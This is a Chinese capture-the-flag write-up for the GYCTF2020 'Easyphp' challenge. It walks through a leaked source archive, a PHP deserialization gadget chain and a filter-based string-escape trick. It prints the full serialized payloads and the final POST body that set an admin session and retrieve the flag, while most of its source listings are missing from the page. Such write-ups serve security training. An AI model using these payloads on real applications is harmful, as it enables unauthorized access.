[GYCTF2020]Easyphp
前言
知识点:
www.zip源码泄露
PHP反序列化链POC
代码审计
WP:
进入环境,题目是easyphp我就感觉要审源码。。。试了一下常见的泄露,发现存在www.zip。把代码下载下来进行一下审计,发现update.php和lib.php可以利用:
1 | <?php |
1 | update.php |
update.php那里只是输出你没登录,接下来的代码还会执行。update()方法中会进行反序列化。
update.php那里只是输出你没登录,接下来的代码还会执行。update()方法中会进行反序列化。
简单的理一下POC的思路。本以为是利用User类的__construct方法来读flag.php,但是发现safe()过滤了flag和\,因此会被过滤,无法读取。
但是UpdateHelper类中也有一个__destruct()方法,会echo。
正好User类存在__toString()方法:
再利用$this->nickname->update()去触发Info类的__call():
这样就可以调用一个login方法。但是怎么得flag?
lib.php中有2个login方法,User类得login方法可以让$_SESSION[‘login’]=1,但是必须返回了id:
跟进一下第16行得login方法,看一下逻辑:
想要正常返回$idResult,要么$this->token==’admin’,要么就是查对了用户名和密码才可以。
这时候便很自然得可以想到思路了,因为反序列化得时候除了User类中login的这里不可控,其他基本都是可控的。:
也就是说,要分2次。第一次反序列化最终调用的是dbCtrl类的login,因为这里的sql语句和dbCtrl都可控,因此可以成功的$_SESSION[‘token’]=$this->name;。控一下name,让它是admin。
(更正,其实并不需要第二次反序列化,直接第一次反序列化设了session后,直接随便登录一下,用户名是admin即可,就可以触发user类的login方法了,不需要这里再反序列化构造来触发User类的login方法,我实际上也是思路太局限了。)
第二次反序列化最终调用User类的login方法。因为这里:
所以这时候$this->token=’admin’,即这里满足,可以成功查到id:
这样可以$_SESSION[‘login’]=1;
得到flag:
接下来就要想办法构造POC了,先是第一次反序列化:
1 | <?php |
需要注意之所以new UpdateHelper()没有写在Info类中,而是写在$this->CtrlCase中,是因为这里:
public function update(){
$Info=unserialize($this->getNewinfo());
//print_r($Info);
$age=$Info->age;
$nickname=$Info->nickname;
$updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
//这个功能还没有写完 先占坑
}
如果$this->age或者$this->nickname设成UpdateHelper的话,会因为把类对象当成字符产而报错。
产生的payload是这样:
1 | O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}} |
通过反序列化字符逃逸,得到这样:
1 | O:4:"Info":3:{s:3:"age";s:901:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}}";s:8:"nickname";N;s:8:"CtrlCase";N;} |
post传参:
1 | age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";N;}}}}}}} |
1 | <?php |
1 | age=''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''unionunionunionunionunionunionunionunionunionload1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:6:"dbCtrl":9:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;s:4:"feng";O:12:"UpdateHelper":1:{s:3:"sql";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";O:4:"User":3:{s:2:"id";s:1:"1";s:3:"age";s:72:"select "1","c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:1:"2";s:8:"CtrlCase";N;}}}}}}}&username=admin&password=1 |
最终成功得到flag:
最终成功得到flag:
参考链接:[GYCTF2020]Easyphp-CSDN博客